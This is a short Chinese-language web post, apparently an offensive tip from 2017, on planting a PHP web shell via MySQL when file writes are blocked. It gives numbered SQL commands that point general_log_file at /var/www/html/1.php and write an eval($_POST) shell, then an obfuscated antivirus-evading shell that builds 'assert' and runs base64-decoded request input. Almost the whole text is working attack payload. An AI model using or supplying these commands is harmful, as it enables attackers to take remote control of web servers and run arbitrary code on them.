outfile被禁止,或者写入文件被拦截
在数据库中操作如下:(必须是root权限)
1.show variables like ‘%general%'; #
查看配置
2.set global general_log = on; #
开启general log模式
3.set global general_log_file = ‘/var/www/html/1.php'; #
设置日志目录为shell地址
4.select ‘<?php eval($_POST[cmd]);?>’ #
写入shell
不成功的案例,如果mysql 被降权,是无法写入到其他的站点目录的,除非你的目标目录是可以写入的。
SQL查询免杀shell的语句
SELECT “<?php $p =
array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a
= array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_=
‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”
标签: 日志 shell
作者:墨客 来源:互联网 浏览量:12805 时间: 2017-12-21